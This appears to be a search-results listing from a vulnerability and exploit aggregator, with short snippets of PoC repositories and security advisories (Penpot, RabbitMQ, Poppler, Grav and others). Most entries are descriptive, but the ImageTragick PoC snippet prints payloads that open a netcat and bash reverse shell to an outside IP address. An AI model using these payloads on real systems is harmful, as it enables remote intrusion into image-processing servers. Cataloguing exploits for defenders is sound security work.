katana

A next-generation crawling and spidering framework Features • Installation • Usage • Scope • Config • Filters • Join Discord Features Fast And fully configurable web crawling Standard and Headless mode JavaScript parsing / crawling Customizable automatic form filling Scope control - Preconfigured...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

lvi-lfb-attack-poc

PoC para el ataque de secuestro de flujo de control LVI-LFB CVE-2020-0551 Este repositorio contiene las fuentes del PoC del ataque de secuestro de flujo de control LVI-LFB. Contenido lvi-cfh-poc - secuestra el flujo de control de otro proceso mediante la pulverización de búferes de relleno de lín...

CVE-2026-105691

The open-source design platform Penpot contains an OS Command Injection vulnerability in its SVG exporter affecting versions prior to 2.18.0 . The root cause is the unsafely handling of an attacker-controlled fill-color value from a text object, which is placed into a ppmcolormask command string ...

PT-2026-106212

Name of the Vulnerable Software and Affected Versions Penpot versions prior to 2.18.0 Description The SVG exporter improperly handles the fill-color value of a text object, inserting it into a ppmcolormask command string that is then executed via child process.exec. An attacker with file editing...

Python-precise-heap-spraying-

Python-precise-heap-spraying- Python heap spraying preciso 0c0c0c0c...

BIT-RABBITMQ-2026-67223 RabbitMQ: LDAP DN injection via unescaped substitution

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

Rocky Linux 8 [CIQ] Security Update: kernel-rt / kernel-rt-core / kernel-rt-debug / kernel-rt-debug-core / etc Multiple Vulnerabilities (crlsa-2022_6437)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20226437 advisory. Incomplete cleanup of multi-core shared buffers aka SBDR CVE-2022-21123 Incomplete cleanup of microarchitectural fill buffers aka SBDS CVE-2022-21125...

CVE-2026-100305 TDuck survey form through 6.0 Fill-In Restriction Bypass via Authenticated Submission Endpoint

TDuck survey form through 6.0 fails to enforce form fill-in restrictions on the authenticated submission endpoint POST /user/form/data/create. Authenticated attackers who know a form's key can submit unlimited entries to any form, bypassing publish status, time window, quota, and per-IP...

AZL-105305 CVE-2026-67223 affecting package rabbitmq-server 3.13.7-9

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

CVE-2026-67223 RabbitMQ: LDAP DN injection via unescaped substitution

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

CVE-2026-67223 RabbitMQ: LDAP DN injection via unescaped substitution

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

CVE-2026-67223 RabbitMQ: LDAP DN injection via unescaped substitution

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

PT-2026-98546

In the Linux kernel, the following vulnerability has been resolved: fs: autofs: fix memory leak in autofs fill super In autofs fill super, we create a new inode using autofs new ino, however, if we fail to create root inode, that is, root inode failure path, we return -ENOMEM without freeing the...

CVE-2026-67223: Improper Neutralization of Special Elements used in an LDAP Query

RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting first-fixed versions for the 3.13, 4.0, and 4.1 lines. fill/2 substitutes $username into userdnpattern without RFC 4514 DN escaping, allowing a...

PT-2026-98905

Name of the Vulnerable Software and Affected Versions RabbitMQ versions prior to 3.13.18 RabbitMQ versions prior to 4.0.23 RabbitMQ versions prior to 4.1.14 RabbitMQ versions prior to 4.2.9 RabbitMQ versions prior to 4.3.3 Description An issue exists where the fill/2 function substitutes the...

Linux Distros Unpatched Vulnerability : CVE-2026-67223

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - RabbitMQ is a messaging and streaming broker. The advisory establishes affected 3.13, 4.0, 4.1, 4.2, and 4.3 maintenance lines but contains conflicting...

PT-2026-96648

Name of the Vulnerable Software and Affected Versions Booking Calendar versions prior to 11.8.4 Description Insufficient input sanitization and output escaping allow unauthenticated attackers to perform Reflected Cross-Site Scripting. This occurs when an attacker tricks a user into clicking a lin...

CVE-2026-93653: Unchecked Input for Loop Condition

A denial of service flaw was found in Poppler's Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline...

GHSA-8H9X-89F2-M7X3 Grav: Decompression-bomb size cap bypassed by forged ZIP size in ZipArchiver/Installer

Summary The decompression-bomb bound added in 2.0.1 commit 1c1003c sums ZipArchive::statIndex$i'size' and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.maxuncompressedsize default 1 GiB before extracting ZipArchiver.php:77-86; same logic in GPM\Installer::unZip a...